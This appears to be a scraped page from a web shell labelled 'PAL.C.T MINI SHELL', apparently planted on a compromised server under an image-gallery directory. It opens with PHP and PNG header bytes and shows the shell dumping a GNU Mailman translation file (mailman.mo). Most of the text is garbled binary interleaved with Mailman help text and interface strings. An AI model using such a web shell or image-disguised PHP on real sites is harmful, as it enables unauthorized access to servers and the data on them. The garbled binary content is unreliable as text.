php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/mailman/messages/ca/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/mailman/messages/ca/LC_MESSAGES/mailman.mo

8)S.SUZrVwV+EW;qWVW'X,ZT	2[Ndfh\i	AjeKl
mmm9mRoepup?qUGqqLrHs_tBvww!qx!x$xxx&y%*y!Pyry&yyyyyyszzzzzzZzZX{{{{{{`|i|&||R|5
}C}:~Q~V~]~n~~w~}
W&<A~X-q3Ӂ#8%5^3*Ȃ(!7&Y,.'܃38T(g,\@C	M&f=/ˇ!'$E,j4P̈%7C,{=+!*4&_%&Jӊ+:fIyKÌn~
&-6B
O-Z
@9Ԏ / Hi7(&+Fra%")6`/vRJ\DbT1YW&~Wcfr"8$Ι,>ǚ6ښ%7():%d0*\/	L#ݟfVhhvhߢH!ݤ5!Wo4% b*uOF76?.vĩܩ'%.GMh)w
%7իP
.^f0A^t?0Fw,#+/5<N	`jnu$BA3,u.3ѹ!#A#^?*غ)-C\w)ܻ29Tnļ_[%u%'U?$H(m6ٿT#x9
C`)'
/2?b499TYg#)>u
*-07RWSutM	!?Yu%+F. #D"Py
s,&SY_fz~}%+2C+\5


(7@*Hds0=)
o43
BT)a/3)
$@
e
m


!/Q#o02,?l#/	;7P
'1##'C-q]4'$*Oj1_(
/x=)9&%$L0q%9F2I1|0	x6bm.6#,#!$ .$"O$#r$$$$$?$>'U(u())E)#\)Q)+++,,---!-(.-.64.k.q.../
//// /%/,/!B/(d// 090>0S0
q0000*28!:%:):;Z;y<<<0<<U=Zd=Y=X>ar>>3>?^ABBK<BB'B
BBBBBB
BC/$C3TCCC2CC$C%$DJDF`)FyFGII
II
JJ-J?JUVJRJJK"K5KEKYKpKKKKDK
L *L!KL%mL	L	L!LLLLLM#M3M
MM0MM-M-N2GN;zN8NN
OOO&O>OYOpkOOOPP'P:P0ZPPPP
P!P4P&%QLQ<gQQQQ#QR7RURmR:R%RRbR;	IV	_%__8_```9``=a
>aLaPaYaGbKbSb_WbbAbbKcdhhhhhhiSWj*jjjkk-k?kQk	pk
zk	kk(kkkllm5nTnqnwnRo$p/Dp7tp>pvv
ww)wwwxx,6x cx8xx7z9|;€)('1,Y
!=Pf4ڏw%b	j!.C(8Az|	5
5<̤JbPʧ٧-+DU<#C`ox<$Գ"	4>EJ(_;<Ĵ :"%]ZM01ٸ)!5Wv	r@"uֽgL)U޿4_g1r;3H"|WJOB);JeMueMKKQ7|/R[&
&C&Ip	wz'9I"	",)Cm1Gbx#'/&"PA=[N,w{
:\wyN-c36746*%L#pla;t{,vd!R5Vrn!80Z1OGrY
d)456&7]'70&P#t.
6Y"M[pV	m6E|C-
Hv!|!|s"q"nb##z$	c&+m&&7&(&-',B'1o*+gc,,244a699D:R:&L<s<"<<<<<=k=}====>J?	L?V?m??"???&?@-@%A1AMAeA |A!AA!A6A+/B[B.vB#B$B9B(C/CEG0IIIJJ
$J0/J`JrJJJJ6J(K/5K&eK0K	KK,LLMMM5MN-N>NZPvxRRGrSbU0XgNXX#YY[1@\r\Qaqaxa|aa.aaa(b*bb5nc5cc4d2d2e]He;e*ep
j~juk%/l!Ul$wllGl-m=.nln1o,>o.kohoppG9q'q qrs'ss3t3tt&u~:upu.*vYwhxK3z|8&CDY
ʄބ%67/HI##ڈC'PkPc
VqȋjVY3#Ď%%!4Vm;֏#0T/Z%ʐg%68đ 7 X"y! ܒ,*/38Rcp|

'4ٓ+DZm/{4	HRlɕە	 ( Fg#Ȗ̖"Ԗ


	+59<.Ds|˗ߗ4,%RX$_.̘ј+) J8R8ę-*3^"rD>ڛjҞ=2D%yjU	8˲iM 	nx:}йNd
8FȼSr%#%I$o/#+>([
h!Pr%SSC[K'f\:@@-nryt ^2NA8STo0BDB;>~ <(3D9xV7	BA*)o9GW8G2;*n46F8Ld48?XGH6)4`+C0J6]Z4	"3+?k1x;&1-3_G,4(G5pt,7+d&9d	Vnl{2[/
:[>Y|(R5&68%*87-p+!074lg({mE.__[(!!CE:G#O0@H$Uwz<d/ND/0`z#+##%I8e
3(Y	5c.q+:
ft$3?		 
'
.
2
8
>
[
p
|




N
(_?H
;
A$9f+"!';eW,)%-Sr !CL2$%<!%)1Ob0459j*f
66D+{\ $5Zit~A]=RzT'
,/Eu0;V;PD:#8S%7	&'A&?i&&<*
5+C+7S+/;/(/809=07w0d0`1"u1%6 666==,@@+@A' A)HA>rAA$BBB!BC-CLC3D+DDpD(D<DL%L!M'MPP
P$P9P=P%FPlPP	PQ" Q.CQrQ~Q)Q=QQQR'R :R[RhR9qRRGSET\TeT>U&VVcV	"[},[_pocfhh2h2	i<i;RiIi8i9j	KjUj	k
k$k6Ck1zk/k@k l>l%Dljl5}l1lllmm,m@m9SmmmmIm?m+n?n
_njnqn5p"pIp'qq)qr"%rHrar	grqrurByrrmrDsKs*\s!ssvvv4vww /w+Pw|wEwwwZxpxwxxJy[yWcy
yGy&z15z.gzBz4z<|;K|?|	||Ah}}2Bu8#A\**Ʉ4$)(NwUW%V|,B!o5NJJVe| ##<&`&)
؏2${;ÐɐҐ֐ݐ+-1_).X'o&+ќ#Ǟ'5Ii%&L!j;%ȡ\eKpO"r:Jݦ#v2zͧH'Px(.ҨF<H/146$D[g{)HL(R{"Ͱb^hDẔ)ޱ6O+kQŲ(4@6uD	.26>\u6Ŵq67õ>JXN'-0P%n&0!Wy!2׸2
=W&o*Gй/#HKl$غ/*Lw'Aٻ)EI	.&
M^jqHPJ
2?C
KdVa(%ZN,$C/u<&"&If(
8%,Ri&xF+,4ADDM
!,X@ 76(MFvM&VE&L9#
]Ah8 5 ,M`,$
;F.5d>}F"	3	:	")@\CW^f:o
`]Ue?1MgV+>j
bS!&R"y"}"
".""""!"F"U=#Q#5#U$:q$o$m(Q(=(=)-X))))))))	)),$}.8.c/*?0kj00m11n2<2:23m3uu44W5`7663i7J7u7^8?99:M;Y;<;<x<<=cN=#=&>>/?F?/L?|??I?(? ? @4@G@*A(DAmA	$B.B4BJB[BqBB'BEB$BC3C?C]C.zC,CCC-D=DZDwDEE[	"E0~N*NlN;GO^OlOOPP:Q
RmRlT`VY%\)\1\3]45]j]^6^4_`L:a2cccdOgeef[gd,hCh%h&j"llm[n!oppeq5r.r;r-s;sNujUvvWxyAyAyC2zAvz>z1z9){Bc{{S||}3~Tz
9A[lG"=f`bnj#*N
Ǔ&ϠP+(97&qI70K?
Mhdz~'x%+:
YdD
żӼV\`egD
F"Q#t ( .!P?3s./.@>]19NCW4E6>MDDBA+Y+
?! >0_,G&9,(f3[0'X'(HP4&ly]#DF
"UXB86(o):K442>7NsJZE.1)..7]'H'J.y97SIqL(3uD).01>C3{`E'"J!P
UTE
-

(
2R$AwC# A&b$[d\vQWv#+%+Q,},Pb{2,	6>>-}!&/l7<S5$T.y+!1)(.R5!(AV+q;30 L +d :  e!	|!!#!'!
!!"""*"D"Y"*r" ""&";#@#-M#{#%##
#G#$$$
3$A$
N$Y$a$Ci$$$$$$$$%-%=G%?%%	%-%&3&&Z&_&9r&&#&&H&G='B''9'(#(7(J>(&('(

NOTE NOTE NOTE NOTE NOTE

    You are upgrading an existing Mailman installation, but I can't tell what
    version you were previously running.

    If you are upgrading from Mailman 1.0b9 or earlier you will need to
    manually update your mailing lists.  For each mailing list you need to
    copy the file templates/options.html lists/<listname>/options.html.

    However, if you have edited this file via the Web interface, you will have
    to merge your changes into this file, otherwise you will lose your
    changes.

NOTE NOTE NOTE NOTE NOTE


    confirm <confirmation-string>
        Confirm an action.  The confirmation-string is required and should be
        supplied by a mailback confirmation notice.

    echo [args]
        Simply echo an acknowledgement.  Args are echoed back unchanged.

    end
        Stop processing commands.  Use this if your mail program automatically
        adds a signature file.

    help
        Print this help message.

    info
        Get information about this mailing list.

    lists
        See a list of the public mailing lists on this GNU Mailman server.

    password [<oldpassword> <newpassword>] [address=<address>]
        Retrieve or change your password.  With no arguments, this returns
        your current password.  With arguments <oldpassword> and <newpassword>
        you can change your password.

        If you're posting from an address other than your membership address,
        specify your membership address with `address=<address>' (no brackets
        around the email address, and no quotes!).  Note that in this case the
        response is always sent to the subscribed address.

    set ...
        Set or view your membership options.

        Use `set help' (without the quotes) to get a more detailed list of the
        options you can change.

        Use `set show' (without the quotes) to view your current option
        settings.

    set help
        Show this detailed help.

    set show [address=<address>]
        View your current option settings.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set authenticate <password> [address=<address>]
        To set any of your options, you must include this command first, along
        with your membership password.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set ack on
    set ack off
        When the `ack' option is turned on, you will receive an
        acknowledgement message whenever you post a message to the list.

    set digest plain
    set digest mime
    set digest off
        When the `digest' option is turned off, you will receive postings
        immediately when they are posted.  Use `set digest plain' if instead
        you want to receive postings bundled into a plain text digest
        (i.e. RFC 1153 digest).  Use `set digest mime' if instead you want to
        receive postings bundled together into a MIME digest.

    set delivery on
    set delivery off
        Turn delivery on or off.  This does not unsubscribe you, but instead
        tells Mailman not to deliver messages to you for now.  This is useful
        if you're going on vacation.  Be sure to use `set delivery on' when
        you return from vacation!

    set myposts on
    set myposts off
        Use `set myposts off' to not receive copies of messages you post to
        the list.  This has no effect if you're receiving digests.

    set hide on
    set hide off
        Use `set hide on' to conceal your email address when people request
        the membership list.

    set duplicates on
    set duplicates off
        Use `set duplicates off' if you want Mailman to not send you messages
        if your address is explicitly mentioned in the To: or Cc: fields of
        the message.  This can reduce the number of duplicate postings you
        will receive.

    set reminders on
    set reminders off
        Use `set reminders off' if you want to disable the monthly password
        reminder for this mailing list.

    subscribe [password] [digest|nodigest] [address=<address>]
        Subscribe to this mailing list.  Your password must be given to
        unsubscribe or change your options, but if you omit the password, one
        will be generated for you.  You may be periodically reminded of your
        password.

        The next argument may be either: `nodigest' or `digest' (no quotes!).
        If you wish to subscribe an address other than the address you sent
        this request from, you may specify `address=<address>' (no brackets
        around the email address, and no quotes!)

    unsubscribe [password] [address=<address>]
        Unsubscribe from the mailing list.  If given, your password must match
        your current password.  If omitted, a confirmation email will be sent
        to the unsubscribing address. If you wish to unsubscribe an address
        other than the address you sent this request from, you may specify
        `address=<address>' (no brackets around the email address, and no
        quotes!)

    who
        See the non-hidden members of this mailing list.
    who password
        See everyone who is on this mailing list. The password is the
        list's admin or moderator password.

    who password
        See everyone who is on this mailing list.  The roster is limited to
        list administrators and moderators only; you must supply the list
        admin or moderator password to retrieve the roster.

    who password [address=<address>]
        See the non-hidden members of this mailing list.  The roster is
        limited to list members only, and you must supply your membership
        password to retrieve it.  If you're posting from an address other
        than your membership address, specify your membership address with
        `address=<address>' (no brackets around the email address, and no
        quotes!). If you provide the list's admin or moderator password,
        hidden members will be included.

%(listname)s has both public and private mbox archives.  Since this list
currently uses private archiving, I'm installing the private mbox archive
-- %(o_pri_mbox_file)s -- as the active archive, and renaming
        %(o_pub_mbox_file)s
to
        %(o_pub_mbox_file)s.preb6

You can integrate that into the archives if you want by using the 'arch'
script.

- Done.


- Ignored:
- Unprocessed:
Check a given Mailman translation, making sure that variables and
tags referenced in translation are the same variables and tags in
the original templates and catalog.

Usage:

cd $MAILMAN_DIR
%(program)s [-q] <lang>

Where <lang> is your country code (e.g. 'it' for Italy) and -q is
to ask for a brief summary.

ERROR:

The locks for some lists could not be acquired.  This means that either
Mailman was still active when you upgraded, or there were stale locks in the
%(lockdir)s directory.

You must put Mailman into a quiescent state and remove all stale locks, then
re-run "make update" manually.  See the INSTALL and UPGRADE files for details.

Pending posts:
To finish removing your mailing list, you must edit your /etc/aliases (or
equivalent) file by removing the following lines, and possibly running the
`newaliases' program:

## %(listname)s mailing list
Usage:
You are subscribed to this list with the case-preserved address
<em>%(cpuser)s</em>.            You have successfully canceled the posting of your message with
            the Subject: header <em>%(subject)s</em> to the mailing list
            %(listname)s.            You have successfully changed your address on the %(listname)s
            mailing list from <b>%(oldaddr)s</b> to <b>%(newaddr)s</b>.  You
            can now <a href="%(optionsurl)s">proceed to your membership
            login page</a>.            You have successfully confirmed your subscription request for
            "%(addr)s" to the %(listname)s mailing list.  A separate
            confirmation message will be sent to your email address, along
            with your password, and other useful information and links.

            <p>You can now
            <a href="%(optionsurl)s">proceed to your membership login
            page</a>.            You have successfully confirmed your subscription request to the
            mailing list %(listname)s, however final approval is required from
            the list moderator before you will be subscribed.  Your request
            has been forwarded to the list moderator, and you will be notified
            of the moderator's decision.            You have successfully re-enabled your membership in the
            %(listname)s mailing list.  You can now <a
            href="%(optionsurl)s">visit your member options page</a>.
                        You have successfully unsubscribed from the %(listname)s mailing
            list.  You can now <a href="%(listinfourl)s">visit the list's main
            information page</a>.            You were not invited to this mailing list.  The invitation has
            been discarded, and both list administrators have been
            alerted.     Description: %(description)s     Requests to: %(requestaddr)s    %(status)s (%(how)s on %(date)s)    ack %(onoff)s    address not found:    checking gid and mode for %(path)s    checking permissions on: %(path)s    checking set-gid for %(path)s    clone address added:    clone address is already a member:    digest mime    digest off    digest plain    duplicates %(onoff)s    hide %(onoff)s    looks like you have a really recent CVS installation...
    you're either one brave soul, or you already ran me    myposts %(onoff)s    new list owners:    original address removed:    reminders %(onoff)s    scanning list owners:    unknown file in the way, moving
        %(o_pri_mbox_file)s
    to
        %(newname)s    unknown file in the way, moving
        %(o_pub_mbox_file)s
    to
        %(newname)s   %(file)s: okay  Thread %(size)i bytes  (%(count)d of %(total)d) (Digest mode) (but we obscure the addresses so they are not
                easily recognizable by spammers). (requires authorization) (requires confirmation)<br>&nbsp;<br> <p>Enter your  If you leave the field blank, you will be prompted for
        your email address The last bounce received from you was dated %(date)s To visit the general information page for an unadvertised list,
        open a URL similar to this one, but with a '/' and the %(adj)s
        list name appended.
        <p>List administrators, you can visit  and password to visit  the subscribers list: <p><center>  at  bytes from %(remote)s is already a member subscribers:  to find the management interface for your list.
         <p>If you are having trouble using the lists, please contact # -*- python -*-
# -*- coding: %(charset)s -*-
## "%(listname)s" mailing list configuration settings
## captured on %(when)s
## %(listname)s mailing list#%(counter)05d %(msgid)s%%%%%prog [options]

Export the configuration and members of a mailing list in XML format.%(addr)s is banned (matched: %(patt)s)%(address)s is not a member of the %(listname)s mailing list%(address)s was invited to a different mailing
list, but in a deliberate malicious attempt they tried to confirm the
invitation to your list.  We just thought you'd like to know.  No further
action by you is required.%(allcnt)s members total%(allcnt)s members total, %(membercnt)s shown%(count)d %(realname)s moderator request(s) waiting%(day)i %(month)s %(year)i%(days)d %(units)s%(dbdir)s "other" perms must be 000%(dbfile)s owned by %(owner)s (must be owned by %(user)s%(dbfile)s permissions must be 066x (got %(octmode)s)%(file)s permissions must be 066x (got %(octmode)s)%(host)s mailing list memberships reminder%(hostname)s Mailing Lists%(hostname)s mailing lists - Admin Links%(i)3d. List name:   %(realname)s%(listfullname)s mailing list reminder%(listinfo_link)s list run by %(owner_link)s%(listname)s %(msg)s not found as %(filename)s%(listname)s mailing list probe message%(listname)s post from %(sender)s requires approval%(messages)d messages found%(month)s %(year)i%(name)s runs the %(runnername)s qrunner%(newaddr)s is already a member of
            the %(realname)s list.  It is possible that you are attempting
            to confirm a request for an address that has already been
            subscribed.%(newaddr)s is already a member of the list.%(newaddr)s is banned from subscribing to the
            %(realname)s list.  If you think this restriction is erroneous,
            please contact the list owners at %(owneraddr)s.%(newaddr)s is banned from this list.  If you
                      think this restriction is erroneous, please contact
                      the list owners at %(owneraddr)s.%(ord)s quarter %(year)i%(path)s bad group (has: %(groupname)s, expected %(MAILMAN_GROUP)s)%(path)s must be set-gid%(private)s must not be other-readable%(pwfile)s permissions must be exactly 0640 (got %(octmode)s)%(realname)s -- Edit html for %(template_info)s%(realname)s -- HTML Page Editing%(realname)s Administration (%(label)s)%(realname)s Administrative Database%(realname)s Administrative Database Results%(realname)s Digest, Vol %(volume)d, Issue %(issue)d%(realname)s Mailing list Configuration Help
    <br><em>%(varname)s</em> Option%(realname)s administrative interface%(realname)s list: member options for user %(safeuser)s%(realname)s list: member options login page%(realname)s mailing list administration<br>%(label)s Section%(realname)s moderator request check result%(realname)s post acknowledgement%(realname)s roster authentication failed.%(realname)s subscription notification%(realname)s unsubscribe notification%(safetemplatename)s: Invalid template%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i%(wrapper)s must be set-gid%s has both public and private mbox archives.  Since this list
currently uses public archiving, I'm installing the public mbox file
archive file (%s) as the active one, and renaming
        %s
    to
        %s.preb6

You can integrate that into the archives if you want by using the 'arch'
script.
&lt;blank line&gt;(<i>%(which)s is only available to the list
                members.</i>)(<i>%(which)s is only available to the list
            administrator.</i>)(Administrivia filter) Check postings and intercept ones
             that seem to be administrative requests?(Note - you are subscribing to a list of mailing lists, so the %(type)s notice will be sent to the admin address for your membership, %(addr)s.)<p>(as owner)(fixing)(help)(locked)(no change)(no subject)(unlocked)- %(o_tmpl)s doesn't exist, leaving untouched- Results:- This list looks like it might have <= b4 list templates around- both %(o_tmpl)s and %(n_tmpl)s exist, leaving untouched- moved %(o_tmpl)s to %(n_tmpl)s- nothing to update here- updating old private mbox file- updating old public mbox file- usenet watermarks updated and gate_watermarks removed-------------- next part --------------
--all requires --run...after this one....before this one....or specify a file to upload:; it was disabled by the list administrator; it was disabled by you; it was disabled due to excessive bounces.  The
            last bounce was received on %(date)s; it was disabled for unknown reasons<----- start object %(cnt)s -----><P>Currently, there are no archives. </P><b><i>either</i></b> <b>Cancel</b> and return to list administration<b>Invalid confirmation string:</b>
    %(safecookie)s.

    <p>Note that confirmation strings expire approximately
    %(days)s days after the initial subscription request.  If your
    confirmation has expired, please try to re-submit your subscription.
    Otherwise, <a href="%(confirmurl)s">re-enter</a> your confirmation
    string.<b>ack</b> -- Does the member get acknowledgements of their
        posts?<b>admin_member_chunksize</b> attribute not
            changed!  It must be an integer > 0.<b>digest</b> -- Does the member get messages in digests?
        (otherwise, individual messages)<b>hide</b> -- Is the member's address concealed on
        the list of subscribers?<b>language</b> -- Language preferred by the user<b>mod</b> -- The user's personal moderation flag.  If this is
        set, postings from them will be moderated, otherwise they will be
        approved.<b>nodupes</b> -- Does the member want to avoid duplicates of the
        same message?<b>nomail</b> -- Is delivery to the member disabled?  If so, an
        abbreviation will be given describing the reason for the disabled
        delivery:
            <ul><li><b>U</b> -- Delivery was disabled by the user via their
                    personal options page.
                <li><b>A</b> -- Delivery was disabled by the list
                    administrators.
                <li><b>B</b> -- Delivery was disabled by the system due to
                    excessive bouncing from the member's address.
                <li><b>?</b> -- The reason for disabled delivery isn't known.
                    This is the case for all memberships which were disabled
                    in older versions of Mailman.
            </ul><b>not metoo</b> -- Does the member want to avoid copies of their
        own postings?<b>plain</b> -- If getting digests, does the member get plain
        text digests?  (otherwise, MIME)<b>real_name</b> attribute not
            changed!  It must differ from the list's name by case
            only.<b>unsub</b> -- Click on this to unsubscribe the member.<br>(Details for <b>%(varname)s</b>)<br>(Edit <b>%(varname)s</b>)<br><em>...specify a file to upload</em><br><br><em><strong>Note:</strong>
        setting this value performs an immediate action but does not modify
        permanent state.</em><br>Return to the <em>(%(num_concealed)d private members not shown)</em><em>(1 private member not shown)</em><em><strong>Warning:</strong> changing this option here
    could cause other screens to be out-of-sync.  Be sure to reload any other
    pages that are displaying this option for this mailing list.  You can also
    <em>Enter the text below, or...</em><br><em>Message with id #%(id)d is corrupted.<em>Message with id #%(id)d was lost.<em>No topics defined</em><em>Not available</em><em>The sender is now a member of this list</em><em>Yes, I really want to unsubscribe</em><em>not available</em><li>Set everyone's moderation bit, including
            those members not currently visible<missing><p>%(note)s

            <p>You may have disabled list delivery intentionally,
            or it may have been triggered by bounces from your email
            address.  In either case, to re-enable delivery, change the
            %(link)s option below.  Contact %(mailto)s if you have any
            questions or need assistance.<p>(Note that this is an umbrella list, intended to
            have only other mailing lists as members.  Among other things,
            this means that your confirmation request will be sent to the
            `%(sfx)s' account for your address.)<p>(Send questions and comments to <p>... <b><i>or</i></b> select your entry from
                      the subscribers list (see above).<p><em>To view more members, click on the appropriate
        range listed below:</em><p>Below is a listing of all the public mailing lists on
            %(hostname)s.  Click on a list name to get more information about
            the list, or to subscribe, unsubscribe, and change the preferences
            on your subscription.<p>Below is the collection of publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.  Click on a list
            name to visit the configuration pages for that list.<p>There currently are no publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.<p>There currently are no publicly-advertised %(mailmanlink)s
            mailing lists on %(hostname)s.<p>We have received some recent bounces from your
            address.  Your current <em>bounce score</em> is %(score)s out of a
            maximum of %(total)s.  Please double check that your subscribed
            address is correct and that there are no problems with delivery to
            this address.  Your bounce score will be automatically reset if
            the problems are corrected soon.<tt>Reply-To:</tt> header munging<ul><li><b>Hold</b> -- this holds the message for approval
             by the list moderators.

             <p><li><b>Reject</b> -- this automatically rejects the message by
             sending a bounce notice to the post's author.  The text of the
             bounce notice can be <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >configured by you</a>.

             <p><li><b>Discard</b> -- this simply discards the message, with
             no notice sent to the post's author.
             </ul>?AA confirmation message has been sent to %(newaddr)s. A digest has been sent.A list name is requiredA reminder of your password has been emailed to you.A terse phrase identifying this list.AcceptAcceptsAcknowledge the member's postingAction to take for postings from non-members for which no
             explicit action is defined.Action to take on all these held messages:Action to take when a message matches the content filtering
             rules.Action to take when a moderated member posts to the
             list.Action:Add <b>%(esender)s</b> to one of these sender filters:Add a non-fuzzy translation to the dictionary.Add new item...Added  : %(s)sAdditional Member TasksAdditional settingsAdditionally, forward this message to: Address/nameAddress:Addresses did not match!Addresses in this list are banned outright from subscribing
             to this mailing list, with no further moderation required.  Add
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.Addresses may not be blankAdmin address:Administrative requests for mailing list:AdministratorAdministrator passwords did not matchAdministrivia tests will check postings to see whether it's
             really meant as an administrative request (like subscribe,
             unsubscribe, etc), and will add it to the the administrative
             requests queue, notifying the administrator of the new request,
             in the process.Advertise this list when people ask what lists are on this
             machine?After content filtering, the message was emptyAgain to confirm password: Alias names (regexps) which qualify as explicit to or cc
             destination names for this list.All runs all the above qrunnersAlready a memberAlready a member: %(member)sAlso delete archives?Alternate addresses that are acceptable when
             `require_explicit_destination' is enabled.  This option takes a
             list of regular expressions, one per line, which is matched
             against every recipient address in the message.  The matching is
             performed with Python's re.match() function, meaning they are
             anchored to the start of the string.
             
             <p>For backwards compatibility with Mailman 1.1, if the regexp
             does not contain an `@', then the pattern is matched against just
             the local part of the recipient address.  If that match fails, or
             if the pattern does contain an `@', then the pattern is matched
             against the entire recipient address.
             
             <p>Matching against the local part is deprecated; in a future
             release, the pattern will always be matched against the entire
             recipient address.AlwaysAn HTML attachment was scrubbed...
URL: %(url)s
An attempt was made to subscribe your address to the mailing list
%(listaddr)s.  You are already subscribed to this mailing list.

Note that the list membership is not public, so it is possible that a bad
person was trying to probe the list for its membership.  This would be a
privacy violation if we let them do this, but we didn't.

If you submitted the subscription request and forgot that you were already
subscribed to the list, then you can ignore this message.  If you suspect that
an attempt is being made to covertly discover whether you are a member of this
list, and you are worried about your privacy, then feel free to send a message
to the list administrator at %(listowner)s.
An introductory description - a few paragraphs - about the
             list.  It will be included, as html, at the top of the listinfo
             page.  Carriage returns will end a paragraph - see the details
             for more info.AnyoneApproveAprAprilArabicArchive messages?Archiving OptionsAs neededAugAugustAuthentication failed.Authorization failed.Auto-discard notificationAuto-generate initial list password?Auto-responderAuto-responder characteristics.<p>

In the text fields below, string interpolation is performed with
the following key/value substitutions:
<p><ul>
    <li><b>listname</b> - <em>gets the name of the mailing list</em>
    <li><b>listurl</b> - <em>gets the list's listinfo URL</em>
    <li><b>requestemail</b> - <em>gets the list's -request address</em>
    <li><b>owneremail</b> - <em>gets the list's -owner address</em>
</ul>

<p>For each text field, you can either enter the text directly into the text
box, or you can specify a file on your local system to upload as the text.Auto-response for your message to the "%(realname)s" mailing listAuto-response text to send to -owner emails.Auto-response text to send to -request emails.Auto-response text to send to mailing list posters.Awaiting moderator approvalBBad --digest option: %(kind)sBad --nomail option: %(why)sBad MIME type ignored: %(spectype)sBad URL specificationBad approval password given.  Held message is still being held.Bad argument to -a/--admin-notify: %(arg)sBad argument to -w/--welcome-msg: %(arg)sBad argument: %(arg)sBad arguments: %(pargs)sBad arguments: %(strargs)sBad choice: %(yesno)sBad command: %(command)sBad confirmation stringBad digest specifier: %(arg)sBad email address for option %(k)s: %(v)sBad email address for option %(property)s: %(val)sBad email address providedBad moderation flag valueBad owner email address: %(s)sBad queue directory: %(qdir)sBad regular expression: Bad set command: %(subcmd)sBad status number: %(arg)sBad value for <a href="?VARHELP=bounce/%(property)s"
                >%(property)s</a>: %(val)sBad/Invalid email addressBad/Invalid email address: %(member)sBad/Invalid email address: blank lineBadly formed options entry:
 %(record)sBan <b>%(esender)s</b> from ever subscribing to this
                    mailing listBan listBanned address (matched %(pattern)s)Batched-delivery digest characteristics.Below, enter additional text to be added to the
    top of your invitation or the subscription notification.  Include at least
    one blank line at the end...Blind carbon copies or other implicit destinations are
not allowed.  Try reposting your message by explicitly including the list
address in the To: or Cc: fields.Bounce action notificationBounce detection sensitivityBounce processingBy clicking on the <em>Remind</em> button, your
    password will be emailed to you.By clicking on the <em>Unsubscribe</em> button, a
    confirmation message will be emailed to you.  This message will have a
    link that you should click on to complete the removal process (you can
    also confirm by email; see the instructions in the confirmation
    message).By default, should new list member postings be moderated?By setting this value to <em>No</em>, you disable all
             automatic bounce processing for this list, however bounce
             messages will still be discarded so that the list administrator
             isn't inundated with them.By setting this value to <em>No</em>, you turn off
             notification messages that are normally sent to the list owners
             when a member is unsubscribed due to excessive bounces.  An
             attempt to notify the member will always be made.By setting this value to <em>No</em>, you turn off
             notification messages that are normally sent to the list owners
             when a member's delivery is disabled due to excessive bounces.
             An attempt to notify the member will always be made.CGI script errorCan list members choose to receive list traffic bunched in digests?Can subscribers choose to receive mail immediately, rather
             than in batched digests?Can't have empty html page.CancelCancel and discardCancel held message postingCancel my subscription requestCancel postingCannot open mbox file %(mbox)s: %(msg)sCannot read address file: %(filename)s: %(msg)sCannot read both digest and normal members from standard input.Cannot unshunt message %(filebase)s, skipping:
%(e)sCannot unsubscribe non-members:CatalanCeiling on acceptable number of recipients for a posting.Change My Address and NameChange My PasswordChange a list's password.

Prior to Mailman 2.1, list passwords were kept in crypt'd format -- usually.
Some Python installations didn't have the crypt module available, so they'd
fall back to md5.  Then suddenly the Python installation might grow a crypt
module and all list passwords would be broken.

In Mailman 2.1, all list and site passwords are stored in SHA1 hexdigest
form.  This breaks list passwords for all existing pre-Mailman 2.1 lists, and
since those passwords aren't stored anywhere in plain text, they cannot be
retrieved and updated.

Thus, this script generates new passwords for a list, and optionally sends it
to all the owners of the list.

Usage: change_pw [options]

Options:

    --all / -a
        Change the password for all lists.

    --domain=domain
    -d domain
        Change the password for all lists in the virtual domain `domain'.  It
        is okay to give multiple -d options.

    --listname=listname
    -l listname
        Change the password only for the named list.  It is okay to give
        multiple -l options.

    --password=newpassword
    -p newpassword
        Use the supplied plain text password `newpassword' as the new password
        for any lists that are being changed (as specified by the -a, -d, and
        -l options).  If not given, lists will be assigned a randomly
        generated new password.

    --quiet / -q
        Don't notify list owners of the new password.  You'll have to have
        some other way of letting the list owners know the new password
        (presumably out-of-band).

    --help / -h
        Print this help message and exit.
Change addressChange list ownership passwordsChange of address request confirmedChanging passwords for list: %(listname)sCheck a list's config database file for integrity.

All of the following files are checked:

    config.pck
    config.pck.last
    config.db
    config.db.last
    config.safety

It's okay if any of these are missing.  config.pck and config.pck.last are
pickled versions of the config database file for 2.1a3 and beyond.  config.db
and config.db.last are used in all earlier versions, and these are Python
marshals.  config.safety is a pickle written by 2.1a3 and beyond when the
primary config.pck file could not be read.

Usage: %(PROGRAM)s [options] [listname [listname ...]]

Options:

    --all / -a
        Check the databases for all lists.  Otherwise only the lists named on
        the command line are checked.

    --verbose / -v
        Verbose output.  The state of every tested file is printed.
        Otherwise only corrupt files are displayed.

    --help / -h
        Print this text and exit.
Check for pending admin requests and mail the list owners if necessary.

Usage: %(PROGRAM)s [options]

Options:

    -h/--help
        Print this message and exit.
Chinese (China)Chinese (Taiwan)Clean up an .mbox archive file.

The archiver looks for Unix-From lines separating messages in an mbox archive
file.  For compatibility, it specifically looks for lines that start with
"From " -- i.e. the letters capital-F, lowercase-r, o, m, space, ignoring
everything else on the line.

Normally, any lines that start "From " in the body of a message should be
escaped such that a > character is actually the first on a line.  It is
possible though that body lines are not actually escaped.  This script
attempts to fix these by doing a stricter test of the Unix-From lines.  Any
lines that start "From " but do not pass this stricter test are escaped with a
> character.

Usage: cleanarch [options] < inputfile > outputfile
Options:
    -s n
    --status=n
        Print a # character every n lines processed

    -q / --quiet
        Don't print changed line information to standard error.

    -n / --dry-run
        Don't actually output anything.

    -h / --help
        Print this message and exit
Clear FormClear this member's <em>moderate</em> flagClick here for the list of Click here to hide the legend for this table.Click here to include the legend for this table.Click here to reload this page.Click on a link to visit your options page for the
        requested mailing list.Click on the message number to view the individual
            message, or you can Clone a member address.

Cloning a member address means that a new member will be added who has all the
same options and passwords as the original member address.  Note that this
operation is fairly trusting of the user who runs it -- it does no
